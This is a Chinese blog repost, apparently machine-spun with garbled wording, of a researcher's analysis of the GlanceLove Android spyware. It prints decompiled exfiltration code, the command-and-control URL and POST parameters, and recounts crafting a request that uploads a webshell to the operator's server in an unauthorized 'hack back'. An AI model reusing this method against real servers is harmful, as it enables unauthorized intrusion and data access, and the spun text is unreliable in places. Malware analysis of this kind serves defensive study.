看我如何回怼手机黑客?黑回去!

本文中,以色列钻研者经由过程反编译恶意APK利用GlanceLove,向进击者办事器上传了webshell,实现了Hack Back(黑回去)。

某天晚上,我躺在沙发上,偶尔看到论坛中有人表露了一个由某黑客组织专门开拓的恶意安卓利用APK,这些恶意APK是若何被发明的呢?我看了一下,着实也不难,黑客用一些性感女孩的照片创建了一个假Facebook账户,然后就用这个账户在网上和一些以色列男孩(受害者)谈天,并奉告这些男孩必须要去下载安装那个APK才能和她视频谈天。然而,当受害者男孩们下载安装这个APK之后,之前与他们谈天的辣妹就无端消掉了。我从某则论坛中得知这个恶意APK名叫 – GlanceLove。

天下杯时代,以色列收集安然公司 ClearSky Security 曾宣布申报称,伊斯兰可怕组织哈马斯试图经由过程包括GlanceLove在内的约会类APP诱骗以色列国防军安装受恶意软件感染的特工软件。别的,以色列国防军也确认哈马斯组织在以色列士兵的智妙手机上植入了名为 GlanceLove 的特工软件进行信息网络,而且该APK利用曾被上传到了Google Play市廛(后已被谷歌下架删除)。

技巧阐发

找到apk并下载后,我应用JDAX对其进行了反编译。我假设它应用HTTP协议来偷取数据,以是我做的第一件事是搜索 “HTTP” 字符串。

搜索结果显示,该APK应用了 “HttpURLConnection” 类,HttpURLconnection是基于http协议的,支持get,post,put,delete等各类哀求要领。是以我异常确定其应用了一个web办事器来网络存储数据,但我却没看到它哀求的这个web办事器相关的URL字符串,以是还需继承阐发代码。应用 “HttpURLConnection” 类的函数名称为m7665a:

public static String m7665a(String str, byte[] bArr) {

String str2;

Throwable th;

HttpURLConnection httpURLConnection = null;

try {

HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL(str).openConnection();

try {

httpURLConnection2.setRequestMethod(f5386b);

httpURLConnection2.setRequestProperty(f5387c, f5388d);

httpURLConnection2.setUseCaches(false);

httpURLConnection2.setDoInput(true);

httpURLConnection2.setDoOutput(true);

DataOutputStream dataOutputStream = new DataOutputStream(httpURLConnection2.getOutputStream());

dataOutputStream.write(bArr);

dataOutputStream.flush();

dataOutputStream.close();

}

这个函数调用了两个参数,此中str代表回调哀求web办事器的URL,bArr代表发送到web办事器的数据。还可以看到,哀求措施定义在了变量f5386b中,而哀求属性则定义在了变量f5387c 和 f5388d中:

private static final String f5386b = C1559l.m7683a(new C1552g[]{C1552g.P, C1552g.O, C1552g.S, C1552g.T});

private static final String f5387c = C1559l.m7683a(new C1552g[]{C1552g.C, C1552g.o, C1552g.n, C1552g.t, C1552g.e, C1552g.n, C1552g.t}).concat(“-“).concat(C1559l.m7683a(new C1552g[]{C1552g.T, C1552g.y, C1552g.p, C1552g.e}));

private static final String f5388d = C1559l.m7683a(new C1552g[]{C1552g.a, C1552g.p, C1552g.p, C1552g.l, C1552g.i, C1552g.c, C1552g.a, C1552g.t, C1552g.i, C1552g.o, C1552g.n})M.concat(“/x”).concat(“-“).concat(C1559l.m7683a(new C1552g[]{C1552g.w, C1552g.w, C1552g.w})).concat(“-“).concat(C1559l.m7683a(new C1552g[]{C1552g.f, C1552g.o, C1552g.r, C1552g.m})).concat(“-“).concat(C1559l.m7683a(new C1552g[]{C1552g.u, C1552g.r, C1552g.l, C1552g.e, C1552g.n, C1552g.c, C1552g.o, C1552g.d, C1552g.e, C1552g.d}));

[1] [2]下一页

进击者应用了对象ProGuard来对字符串和函数名进行了肴杂,所曩昔述的我找不到任何URL字符串的缘故原由就在于此。ProGuard是一个压缩、优化和肴杂Java字节码文件的免费的对象,它可以删除无用的类、字段、措施和属性。解码之后,可以看到,此中包孕了以下信息:

private static final String f5386b = “POST”

private static final String f5387c = “Content-Type”

private static final String f5388d = “Application/x-www-form-urlencoded”

接着,我反省了有哪些函数间接调用了 “HttpURLConnection” 类函数m7665a,结果是这样的:

private static void m7672b(File file) {

C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();

}

public static String m7489b() {

return f5199j + C1489a.m7487a() + f5201l;

}

public static String m7487a() {

C1545b c1545b = new C1545b(f5203n.getFilesDir().getAbsolutePath(), f5202m);

if (c1545b.exists()) {

String str = new String(c1545b.m7647a());

if (!(str == null || str.isEmpty())) {

return str;

}

}

return f5204o;

}

颠末阐发,我发明,函数m7672b在函数m7489b中定义URL链接时调用了函数m7665a,而在m7487a函数中,在末端它返回了包孕URL链接的f5204o。解码之后,该APK哀求的远程办事器URL链接为:

HTTP://WWW.GLANCELOVE.COM/APPS/d/p/OP.PHP

别的,除懂得码之后看到的APK内置连接哀求URL链接,我还发清楚明了很多其它有用的字符串:

public static final String f5190a = “.ZIP”

public static final String f5191b = “.DATA”

public static final String f5192c = “.APK”

public static final byte[] f5193d = “A”.getBytes();

public static final byte[] f5194e = “B”.getBytes();

public static final byte[] f5195f = “F”.getBytes();

public static final byte[] f5196g = “CCC”.getBytes();

public static final byte[] f5197h = “D”.getBytes();

public static final byte[] f5198i = “E”.getBytes();

public static final String f5199j = “HTTP://”

public static final String f5200k = “TCP://”;

public static final String f5201l = “/APPS/d/p/OP.PHP”

public static final String f5202m = “IP.TXT”

private static Context f5203n = App.m7476a();

private static String f5204o = “WWW.GLANCELOVE.COM”

private static byte[] f5394b = “devId=”

private static byte[] f5395c = “&op=”

private static byte[] f5396d = “&fName=”

private static byte[] f5397e = “&data=”

private static String f5398f = “true”

从以上信息中可知,我可以使用参数 devId、op、fName和data来构造一个发往进击节制办事器WWW.GLANCELOVE.COM的POST哀求,此中参数devId、op和fName的值都对照好猜,然则参数data我就不知道是什么了。以是,我又从以下反编译代码中进行了阐发:

private static byte[] m7671a(File file, byte[] bArr) {

Object obj = new byte[(((((f5394b.length + a2.length) + f5396d.length) + a.length) + f5395c.length) + bArr.length)];

System.arraycopy(bArr, 0, obj, (a.length + ((a2.length + f5394b.length) + f5396d.length)) + f5395c.length, bArr.length);

}

public static int m7668a(File file) {

Object a = C1551f.m7671a(file, C1489a.f5196g);

}

private static void m7672b(File file) {

C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5198i)).trim();

}

private static long m7674c(File file) {

return Long.parseLong(C1548e.m7665a(C1489a.m7489b(), C1551f.m7671a(file, C1489a.f5197h)).trim());

}

在函数m7671a中,它使用值分手为 “CCC”、“E” 和 “D”的三个函数m7668a、m7672b 和 m7674c来创建了参数 op 的 id值。

虽然我不知道所有这些参数值代表切实着实切意义,但我照样考试测验着构造了一个发往WWW.GLANCELOVE.COM的POST哀求,该哀求Payload为:

devId=123123&op=CCC&fName=123&data=abc

该POST哀求应该已经成功发送了,在相应中,除返回了payload的长度38这外,没有其它有用信息,是以,我还得找到我详细的上传文件路径,这真是难找啊。颠末几回有根据的预测,我发清楚明了那个上传文件的终极路径是/apps/d/uploads/dev/123123/123。

由此措施,我接着上传了一个webshell以前,发明这个恶意APK竟然已经节制了500多部智妙手机,并且偷取跨越10G的数据。

上一页[1] [2]

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包